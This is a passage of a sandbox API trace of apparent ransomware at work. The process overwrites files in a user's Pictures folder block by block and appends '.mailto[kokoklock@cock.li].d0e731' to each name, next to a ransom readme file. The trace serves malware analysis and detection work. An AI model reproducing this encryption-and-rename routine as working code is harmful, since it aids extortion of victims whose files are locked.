nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11aefc18*=0x4, lpOverlapped=0x0) returned 1 [0170.165] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11aefc18*=0x6c, lpOverlapped=0x0) returned 1 [0170.165] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x11aefc18*=0x20, lpOverlapped=0x0) returned 1 [0170.166] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11aefc18, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11aefc18*=0x4, lpOverlapped=0x0) returned 1 [0170.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886b0) returned 1 [0170.166] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.166] CloseHandle (hObject=0x370) returned 1 [0170.166] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xdc) returned 0x2f98c30 [0170.166] wcscpy (in: _Dest=0x2f98c30, _Source="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" [0170.166] wcscat (in: _Dest=0x2f98c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.166] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\vlp ogjpnqzeo0.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98c30) returned 1 [0170.167] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\VLp OGjpNqzeo0.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.167] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0170.167] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.167] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.167] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0170.167] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fee6d8) returned 1 [0170.167] RtlExitUserThread (Status=0x1) Thread: id = 1882 os_tid = 0x36c [0170.169] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.169] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.169] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.169] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x11b6f80c | out: lpFileSize=0x11b6f80c*=53461) returned 1 [0170.169] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xd0d1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.169] ReadFile (in: hFile=0x370, lpBuffer=0x11b6f7e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x11b6f7e0*, lpNumberOfBytesRead=0x11b6f7dc*=0x4, lpOverlapped=0x0) returned 1 [0170.170] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.170] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.171] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886b0 [0170.171] NtQuerySystemTime (in: CurrentTime=0x11b6f7b8 | out: CurrentTime=0x11b6f7b8*=132121213274908565) returned 0x0 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x8256420b [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x5c0788ec [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x257c502e [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xcd0eed17 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x2e087799 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xb01ceff6 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xdf886a58 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xed09dea6 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xdfc82061 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xe15ac87f [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x4daf3a5e [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x34efa003 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x58dcce91 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xafe147b2 [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x1e294b6f [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x7c06d9a [0170.171] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xf06c3497 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xcd9456c2 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x8df75678 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x702f1068 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xeb4187a3 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xe642e17 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xb989a6df [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xaa09aea2 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xff18dcdb [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xccd7debd [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x53ab9a4 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xf0df5454 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x6e9cb9b7 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x3b19148f [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0xebf9d574 [0170.172] RtlRandom (in: Seed=0x11b6f7c4 | out: Seed=0x11b6f7c4) returned 0x37452a1a [0170.182] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.184] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.185] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.185] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.185] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11b6f790, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x11b6f790*=0x4096, lpOverlapped=0x0) returned 1 [0170.185] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96cd8 [0170.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.185] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.185] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.186] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.186] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96cd8) returned 1 [0170.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.186] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11b6f790, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x11b6f790*=0x4096, lpOverlapped=0x0) returned 1 [0170.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.186] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0xd0d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.186] WriteFile (in: hFile=0x370, lpBuffer=0x2f88728*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11b6f7c8, lpOverlapped=0x0 | out: lpBuffer=0x2f88728*, lpNumberOfBytesWritten=0x11b6f7c8*=0x20, lpOverlapped=0x0) returned 1 [0170.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88728) returned 1 [0170.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.187] WriteFile (in: hFile=0x370, lpBuffer=0x2f88700*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f88700*, lpNumberOfBytesWritten=0x11b6f7dc*=0x8, lpOverlapped=0x0) returned 1 [0170.187] WriteFile (in: hFile=0x370, lpBuffer=0x11b6f7f4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x11b6f7f4*, lpNumberOfBytesWritten=0x11b6f7dc*=0x4, lpOverlapped=0x0) returned 1 [0170.187] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11b6f7dc*=0x4, lpOverlapped=0x0) returned 1 [0170.187] WriteFile (in: hFile=0x370, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x11b6f7dc*=0x6c, lpOverlapped=0x0) returned 1 [0170.188] WriteFile (in: hFile=0x370, lpBuffer=0x2f885c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f885c0*, lpNumberOfBytesWritten=0x11b6f7dc*=0x20, lpOverlapped=0x0) returned 1 [0170.188] WriteFile (in: hFile=0x370, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11b6f7dc, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x11b6f7dc*=0x4, lpOverlapped=0x0) returned 1 [0170.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f885c0) returned 1 [0170.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f886d8) returned 1 [0170.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88700) returned 1 [0170.188] CloseHandle (hObject=0x370) returned 1 [0170.188] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xda) returned 0x2f98c30 [0170.188] wcscpy (in: _Dest=0x2f98c30, _Source="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" [0170.188] wcscat (in: _Dest=0x2f98c30, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0170.188] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\wvenxswsujhjt.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0170.189] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f98c30) returned 1 [0170.189] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\wveNXSwsujhjT.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0170.189] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x58) returned 0x2fa4300 [0170.189] wcscpy (in: _Dest=0x2fa4300, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0170.189] wcscat (in: _Dest=0x2fa4300, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0170.189] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0170.189] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4300) returned 1 [0170.190] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe3040) returned 1 [0170.190] RtlExitUserThread (Status=0x1) Thread: id = 1883 os_tid = 0x378 [0170.192] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0170.193] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0170.193] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\XSXB9S.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\xsxb9s.jpg.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0170.193] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x11befb3c | out: lpFileSize=0x11befb3c*=85734) returned 1 [0170.193] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14ee2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.193] ReadFile (in: hFile=0x370, lpBuffer=0x11befb10, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x11befb10*, lpNumberOfBytesRead=0x11befb0c*=0x4, lpOverlapped=0x0) returned 1 [0170.194] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f885c0 [0170.194] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f886d8 [0170.194] NtQuerySystemTime (in: CurrentTime=0x11befae8 | out: CurrentTime=0x11befae8*=132121213275064393) returned 0x0 [0170.194] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x9ebf79f2 [0170.194] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x6446a8a9 [0170.194] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x70d78183 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xc28d1ece [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x3ac9414b [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x55434352 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x2163a6ca [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x2134e4c [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xe7039699 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x35ea8403 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xc85b87d4 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xa625ae80 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x16da8aa4 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x9c81fa32 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x87f44d09 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x74d8e318 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xf77ce08c [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x3f0f50f9 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xae3e4f7e [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xc34bb689 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x5e769726 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xbcc5ea28 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x3ee1ea09 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x3bab4bee [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x8f60d41b [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x230c6d2a [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x634acf99 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x79e71dc2 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xa18c4e16 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xdbb2959a [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0xacac3496 [0170.195] RtlRandom (in: Seed=0x11befaf4 | out: Seed=0x11befaf4) returned 0x880d09d1 [0170.204] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88700 [0170.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96dc8 [0170.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88728 [0170.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96dc8) returned 1 [0170.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.206] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3046b08 [0170.207] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.207] ReadFile (in: hFile=0x370, lpBuffer=0x3046b08, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x11befac0, lpOverlapped=0x0 | out: lpBuffer=0x3046b08*, lpNumberOfBytesRead=0x11befac0*=0x4096, lpOverlapped=0x0) returned 1 [0170.207] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.207] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f877d0 [0170.207] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2f96cd8 [0170.207] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.207] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.207] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x304aba8 [0170.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f88818 [0170.208] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f883b8 [0170.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f883b8) returned 1 [0170.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96cd8) returned 1 [0170.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f877d0) returned 1 [0170.208] WriteFile (in: hFile=0x370, lpBuffer=0x304aba8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x11befac0, lpOverlapped=0x0 | out: lpBuffer=0x304aba8*, lpNumberOfBytesWritten=0x11befac0*=0x4096, lpOverlapped=0x0) returned 1 [0170.208] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304aba8) returned 1 [0170.208] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x14ee6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.208] WriteFile (in: hFile=0x370, lpBuffer=0x2f88818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x11befaf8, lpOverlapped=0x0 | out: lpBuffer=0x2f88818*, lpNumberOfBytesWritten=0x11befaf8*=0x20, lpOverlapped=0x0) returned 1 [0170.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88818) returned 1 [0170.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3046b08) returned 1 [0170.209] WriteFile (in: hFile=0x370, lpBuffer=0x2f88728*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f88728*, lpNumberOfBytesWritten=0x11befb0c*=0x8, lpOverlapped=0x0) returned 1 [0170.209] WriteFile (in: hFile=0x370, lpBuffer=0x11befb24*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x11befb24*, lpNumberOfBytesWritten=0x11befb0c*=0x4, lpOverlapped=0x0) returned 1 [0170.209] WriteFile (in: hFile=0x370, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x11befb0c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x11befb0c*=0x4, lpOverlapped=0x0) returned 1 [0170.210] WriteFile 